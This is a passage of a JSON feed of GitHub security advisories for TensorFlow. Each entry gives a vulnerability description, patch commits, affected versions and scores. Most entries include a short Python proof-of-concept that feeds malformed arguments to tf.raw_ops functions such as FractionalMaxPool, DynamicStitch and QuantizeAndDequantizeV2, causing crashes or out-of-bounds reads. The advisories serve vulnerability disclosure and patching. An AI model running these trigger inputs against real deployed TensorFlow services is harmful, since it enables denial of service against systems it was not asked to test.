errors::InvalidArgument( \n        \"batch_dim must be \u003c input rank: \", batch_dim, \" vs. \", input_rank);\n  }\n  // ...\n  \n  DimensionHandle batch_dim_dim = c-\u003eDim(input, batch_dim);\n``` \n    \nNegative dimensions are allowed in some cases to mimic Python's negative indexing (i.e., indexing from the end of the array), however if the value is too negative then [the implementation of `Dim`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/framework/shape_inference.h#L415-L428) would access elements before the start of an array:\n\n```cc\n  DimensionHandle Dim(ShapeHandle s, int64_t idx) {\n    if (!s.Handle() || s-\u003erank_ == kUnknownRank) {\n      return UnknownDim();\n    }\n    return DimKnownRank(s, idx);\n  } \n·\n  static DimensionHandle DimKnownRank(ShapeHandle s, int64_t idx) {\n    CHECK_NE(s-\u003erank_, kUnknownRank);\n    if (idx \u003c 0) {\n      return s-\u003edims_[s-\u003edims_.size() + idx];\n    }\n    return s-\u003edims_[idx];\n  }\n```\n\n### Patches\nWe have patched the issue in GitHub commit [37c01fb5e25c3d80213060460196406c43d31995](https://github.com/tensorflow/tensorflow/commit/37c01fb5e25c3d80213060460196406c43d31995).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-09T18:29:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6gmv-pjp9-p8w8","https://github.com/tensorflow/tensorflow/commit/37c01fb5e25c3d80213060460196406c43d31995","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/framework/shape_inference.h#L415-L428","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/ops/array_ops.cc#L1636-L1671","https://nvd.nist.gov/vuln/detail/CVE-2022-21728","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-52.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-107.yaml","https://github.com/advisories/GHSA-6gmv-pjp9-p8w8"],"source_kind":"github","identifiers":["GHSA-6gmv-pjp9-p8w8","CVE-2022-21728"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":35.04809856489007,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:37.170Z","updated_at":"2024-11-13T22:10:34.000Z","epss_percentage":0.01124,"epss_percentile":0.77357},{"uuid":"GSA_kwCzR0hTQS04N3Y2LWNyZ20tMmdmas0odQ","url":"https://github.com/advisories/GHSA-87v6-crgm-2gfj","title":"Division by zero in Tensorflow","description":"### Impact \nThe [implementation of `FractionalMaxPool`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_max_pool_op.cc#L36-L192) can be made to crash a TensorFlow process via a division by 0:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\ntf.raw_ops.FractionalMaxPool(\n  value=tf.constant(value=[[[[1, 4, 2, 3]]]], dtype=tf.int64),\n  pooling_ratio=[1.0, 1.44, 1.73, 1.0],\n  pseudo_random=False,\n  overlapping=False,\n  deterministic=False,\n  seed=0,\n  seed2=0,\n  name=None)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ba4e8ac4dc2991e350d5cc407f8598c8d4ee70fb](https://github.com/tensorflow/tensorflow/commit/ba4e8ac4dc2991e350d5cc407f8598c8d4ee70fb).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Faysal Hossain Shezan from University of Virginia.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-10T00:21:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-87v6-crgm-2gfj","https://github.com/tensorflow/tensorflow/commit/ba4e8ac4dc2991e350d5cc407f8598c8d4ee70fb","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_max_pool_op.cc#L36-L192","https://nvd.nist.gov/vuln/detail/CVE-2022-21735","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-59.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-114.yaml","https://github.com/advisories/GHSA-87v6-crgm-2gfj"],"source_kind":"github","identifiers":["GHSA-87v6-crgm-2gfj","CVE-2022-21735"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.56131941815548,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:37.095Z","updated_at":"2024-11-13T22:13:23.000Z","epss_percentage":0.0022,"epss_percentile":0.44697},{"uuid":"GSA_kwCzR0hTQS05M3ZyLTlxOW0tcGo4cM4AAyUE","url":"https://github.com/advisories/GHSA-93vr-9q9m-pj8p","title":"TensorFlow vulnerable to Out-of-Bounds Read in DynamicStitch","description":"### Impact\nIf the parameter `indices` for `DynamicStitch` does not match the shape of the parameter `data`, it can trigger an stack OOB read.\n\n```python\nimport tensorflow as tf\nfunc = tf.raw_ops.DynamicStitch\npara={'indices': [[0xdeadbeef], [405], [519], [758], [1015]], 'data': [[110.27793884277344], [120.29475402832031], [157.2418212890625], [157.2626953125], [188.45382690429688]]}\ny = func(**para)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ee004b18b976eeb5a758020af8880236cd707d05](https://github.com/tensorflow/tensorflow/commit/ee004b18b976eeb5a758020af8880236cd707d05).\n\nThe fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis has been reported via Google OSS VRP.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-24T21:58:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-93vr-9q9m-pj8p","https://github.com/tensorflow/tensorflow/commit/ee004b18b976eeb5a758020af8880236cd707d05","https://nvd.nist.gov/vuln/detail/CVE-2023-25659","https://github.com/advisories/GHSA-93vr-9q9m-pj8p"],"source_kind":"github","identifiers":["GHSA-93vr-9q9m-pj8p","CVE-2023-25659"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.152Z","updated_at":"2023-03-27T21:26:46.000Z","epss_percentage":0.00133,"epss_percentile":0.34132},{"uuid":"GSA_kwCzR0hTQS02NGpnLXdqd3ctN2M1d84AAyUB","url":"https://github.com/advisories/GHSA-64jg-wjww-7c5w","title":"TensorFlow has Null Pointer Error in TensorArrayConcatV2","description":"### Impact\nWhen ctx-\u003estep_containter() is a null ptr, the Lookup function will be executed with a null pointer.\n```python\nimport tensorflow as tf\ntf.raw_ops.TensorArrayConcatV2(handle=['a', 'b'], flow_in = 0.1, dtype=tf.int32, element_shape_except0=1)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [239139d2ae6a81ae9ba499ad78b56d9b2931538a](https://github.com/tensorflow/tensorflow/commit/239139d2ae6a81ae9ba499ad78b56d9b2931538a).\n\nThe fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Yu Tian","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-24T21:58:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-64jg-wjww-7c5w","https://github.com/tensorflow/tensorflow/commit/239139d2ae6a81ae9ba499ad78b56d9b2931538a","https://nvd.nist.gov/vuln/detail/CVE-2023-25663","https://github.com/advisories/GHSA-64jg-wjww-7c5w"],"source_kind":"github","identifiers":["GHSA-64jg-wjww-7c5w","CVE-2023-25663"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.183Z","updated_at":"2023-03-27T21:58:57.000Z","epss_percentage":0.00134,"epss_percentile":0.34371},{"uuid":"GSA_kwCzR0hTQS01NThoLW1xOHgtN3E5Z84AAyT_","url":"https://github.com/advisories/GHSA-558h-mq8x-7q9g","title":"TensorFlow has Null Pointer Error in SparseSparseMaximum","description":"### Impact\nWhen `SparseSparseMaximum` is given invalid sparse tensors as inputs, it can give an NPE. \n\n```python\nimport tensorflow as tf\ntf.raw_ops.SparseSparseMaximum(\n a_indices=[[1]],\n a_values =[ 0.1 ],\n a_shape = [2],\n b_indices=[[]],\n b_values =[2 ],\n b_shape = [2],\n)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [5e0ecfb42f5f65629fd7a4edd6c4afe7ff0feb04](https://github.com/tensorflow/tensorflow/commit/5e0ecfb42f5f65629fd7a4edd6c4afe7ff0feb04).\n\nThe fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-24T21:57:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-558h-mq8x-7q9g","https://github.com/tensorflow/tensorflow/commit/5e0ecfb42f5f65629fd7a4edd6c4afe7ff0feb04","https://nvd.nist.gov/vuln/detail/CVE-2023-25665","https://github.com/advisories/GHSA-558h-mq8x-7q9g"],"source_kind":"github","identifiers":["GHSA-558h-mq8x-7q9g","CVE-2023-25665"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.203Z","updated_at":"2023-03-27T22:00:49.000Z","epss_percentage":0.0006,"epss_percentile":0.19061},{"uuid":"GSA_kwCzR0hTQS1ndzk3LWZmN2MtOXY5Ns4AAyT8","url":"https://github.com/advisories/GHSA-gw97-ff7c-9v96","title":"TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation","description":"### Impact\nAttackers using Tensorflow can exploit the vulnerability. They can access heap memory which is not in the control of user, leading to a crash or RCE.\nWhen axis is larger than the dim of input, c-\u003eDim(input,axis) goes out of bound.\nSame problem occurs in the QuantizeAndDequantizeV2/V3/V4/V4Grad operations too.\n```python\nimport tensorflow as tf\n@tf.function\ndef test():\n    tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],\n    \t\t\t\t\t\t\t\t   input_min=[1.0],\n    \t\t\t\t\t\t\t\t   input_max=[10.0],\n    \t\t\t\t\t\t\t\t   signed_input=True,\n    \t\t\t\t\t\t\t\t   num_bits=1,\n    \t\t\t\t\t\t\t\t   range_given=True,\n    \t\t\t\t\t\t\t\t   round_mode='HALF_TO_EVEN',\n    \t\t\t\t\t\t\t\t   narrow_range=True,\n    \t\t\t\t\t\t\t\t   axis=0x7fffffff)\ntest()\n```\n\n\n\n### Patches\nWe have patched the issue in GitHub commit [7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb](https://github.com/tensorflow/tensorflow/commit/7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb).\n\nThe fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-03-24T21:57:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-gw97-ff7c-9v96","https://github.com/tensorflow/tensorflow/commit/7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb","https://nvd.nist.gov/vuln/detail/CVE-2023-25668","https://github.com/advisories/GHSA-gw97-ff7c-9v96"],"source_kind":"github","identifiers":["GHSA-gw97-ff7c-9v96","CVE-2023-25668"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.232Z","updated_at":"2023-03-27T22:03:47.000Z","epss_percentage":0.01298,"epss_percentile":0.7875},{"uuid":"GSA_kwCzR0hTQS1yY2Y4LWc4anYtdmc2cM4AAyT7","url":"https://github.com/advisories/GHSA-rcf8-g8jv-vg6p","title":"TensorFlow has Floating Point Exception in AvgPoolGrad with XLA","description":"### Impact\nIf the stride and window size are not positive for `tf.raw_ops.AvgPoolGrad`, it can give an FPE.\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\n@tf.function(jit_compile=True)\ndef test():\n   y = tf.raw_ops.AvgPoolGrad(orig_input_shape=[1,0,0,0], grad=[[[[0.39117979]]]], ksize=[1,0,0,0], strides=[1,0,0,0], padding=\"SAME\", data_format=\"NCHW\")\n   return y\n\nprint(test())\n```\n\n### Patches\nWe have patched the issue in GitHub commit [1295ae4dbb52fe06b19733b0257e2340d7b63b8d](https://github.com/tensorflow/tensorflow/commit/1295ae4dbb52fe06b19733b0257e2340d7b63b8d).\n\nThe fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by r3pwnx of 360 AIVul Team\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-24T21:56:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rcf8-g8jv-vg6p","https://github.com/tensorflow/tensorflow/commit/1295ae4dbb52fe06b19733b0257e2340d7b63b8d","https://nvd.nist.gov/vuln/detail/CVE-2023-25669","https://github.com/advisories/GHSA-rcf8-g8jv-vg6p"],"source_kind":"github","identifiers":["GHSA-rcf8-g8jv-vg6p","CVE-2023-25669"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.242Z","updated_at":"2023-03-30T22:16:24.000Z","epss_percentage":0.00134,"epss_percentile":0.34312},{"uuid":"GSA_kwCzR0hTQS03eDR2LTlneGctOWh3as4AAyT1","url":"https://github.com/advisories/GHSA-7x4v-9gxg-9hwj","title":"TensorFlow has Segfault in Bincount with XLA","description":"### Impact\nWhen running with XLA, `tf.raw_ops.Bincount` segfaults when given a parameter `weights` that is neither the same shape as parameter `arr` nor a length-0 tensor.\n\n```python\nimport tensorflow as tf\n\nfunc = tf.raw_ops.Bincount\npara={'arr': 6, 'size': 804, 'weights': [52, 351]}\n\n@tf.function(jit_compile=True)\ndef fuzz_jit():\n y = func(**para)\n return y\n\nprint(fuzz_jit())\n```\n\n### Patches\nWe have patched the issue in GitHub commit [8ae76cf085f4be26295d2ecf2081e759e04b8acf](https://github.com/tensorflow/tensorflow/commit/8ae76cf085f4be26295d2ecf2081e759e04b8acf).\n\nThe fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by r3pwnx of 360 AIVul Team\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-24T21:54:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-7x4v-9gxg-9hwj","https://github.com/tensorflow/tensorflow/commit/8ae76cf085f4be26295d2ecf2081e759e04b8acf","https://nvd.nist.gov/vuln/detail/CVE-2023-25675","https://github.com/advisories/GHSA-7x4v-9gxg-9hwj"],"source_kind":"github","identifiers":["GHSA-7x4v-9gxg-9hwj","CVE-2023-25675"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.303Z","updated_at":"2023-04-03T20:56:27.000Z","epss_percentage":0.00134,"epss_percentile":0.34312},{"uuid":"GSA_kwCzR0hTQS02d2ZoLTg5cTgtNDRqcc4AAyT0","url":"https://github.com/advisories/GHSA-6wfh-89q8-44jq","title":"TensorFlow has null dereference on ParallelConcat with XLA","description":"### Impact\nWhen running with XLA, `tf.raw_ops.ParallelConcat` segfaults with a nullptr dereference when given a parameter `shape` with rank that is not greater than zero.\n\n```python\nimport tensorflow as tf\n\nfunc = tf.raw_ops.ParallelConcat\npara = {'shape':  0, 'values': [1]}\n\n@tf.function(jit_compile=True)\ndef test():\n   y = func(**para)\n   return y\n\ntest()\n```\n\n### Patches\nWe have patched the issue in GitHub commit [da66bc6d5ff466aee084f9e7397980a24890cd15](https://github.com/tensorflow/tensorflow/commit/da66bc6d5ff466aee084f9e7397980a24890cd15).\n\nThe fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by r3pwnx of 360 AIVul Team\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-24T21:54:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6wfh-89q8-44jq","https://github.com/tensorflow/tensorflow/commit/da66bc6d5ff466aee084f9e7397980a24890cd15","https://nvd.nist.gov/vuln/detail/CVE-2023-25676","https://github.com/advisories/GHSA-6wfh-89q8-44jq"],"source_kind":"github","identifiers":["GHSA-6wfh-89q8-44jq","CVE-2023-25676"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.320Z","updated_at":"2023-03-27T21:24:14.000Z","epss_percentage":0.00156,"epss_percentile":0.37468},{"uuid":"GSA_kwCzR0hTQS05N3A3LXc4NmgtdmNmOc4AAu12","url":"https://github.com/advisories/GHSA-97p7-w86h-vcf9","title":"TensorFlow vulnerable to `CHECK` failure in `SobolSample` via missing validation","description":"### Impact\nThe implementation of SobolSampleOp is vulnerable to a denial of service via CHECK-failure (assertion failure) caused by assuming `input(0)`, `input(1)`, and `input(2)` to be scalar.\n```python\nimport tensorflow as tf\ntf.raw_ops.SobolSample(dim=tf.constant([1,0]), num_results=tf.constant([1]), skip=tf.constant([1]))\n```\n\n### Patches\nWe have patched the issue in GitHub commit [c65c67f88ad770662e8f191269a907bf2b94b1bf](https://github.com/tensorflow/tensorflow/commit/c65c67f88ad770662e8f191269a907bf2b94b1bf).\n\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by:\n- Kang Hong Jin from Singapore Management University\n- Neophytos Christou, Secure Systems Labs, Brown University\n- 刘力源, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T20:51:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-97p7-w86h-vcf9","https://github.com/tensorflow/tensorflow/commit/c65c67f88ad770662e8f191269a907bf2b94b1bf","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35935","https://github.com/advisories/GHSA-97p7-w86h-vcf9"],"source_kind":"github","identifiers":["GHSA-97p7-w86h-vcf9","CVE-2022-35935"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.596Z","updated_at":"2023-01-28T05:03:00.000Z","epss_percentage":0.00087,"epss_percentile":0.26143},{"uuid":"GSA_kwCzR0hTQS0ydnYzLTU2cWctZzJjZs4AArBM","url":"https://github.com/advisories/GHSA-2vv3-56qg-g2cf","title":"Missing validation causes denial of service via `LSTMBlockCell`","description":"### Impact\nThe implementation of [`tf.raw_ops.LSTMBlockCell`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/rnn/lstm_ops.cc) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.LSTMBlockCell( \n  x=tf.constant(0.837607, shape=[28,29], dtype=tf.float32),\n  cs_prev=tf.constant(0, shape=[28,17], dtype=tf.float32),\n  h_prev=tf.constant(0.592631638, shape=[28,17], dtype=tf.float32),\n  w=tf.constant(0.887386262, shape=[46,68], dtype=tf.float32),\n  wci=tf.constant(0, shape=[], dtype=tf.float32),\n  wcf=tf.constant(0, shape=[17], dtype=tf.float32),\n  wco=tf.constant(0.592631638, shape=[28,17], dtype=tf.float32),\n  b=tf.constant(0.75259006, shape=[68], dtype=tf.float32),\n  forget_bias=1, cell_clip=0, use_peephole=False)\n``` \n  \nThe code does not validate the ranks of any of the arguments to this API call. This results in `CHECK`-failures when the elements of the tensor are accessed.\n    \n### Patches\nWe have patched the issue in GitHub commit [803404044ae7a1efac48ba82d74111fce1ddb09a](https://github.com/tensorflow/tensorflow/commit/803404044ae7a1efac48ba82d74111fce1ddb09a).\n    \nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information                \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n    \n### Attribution\nThis vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown 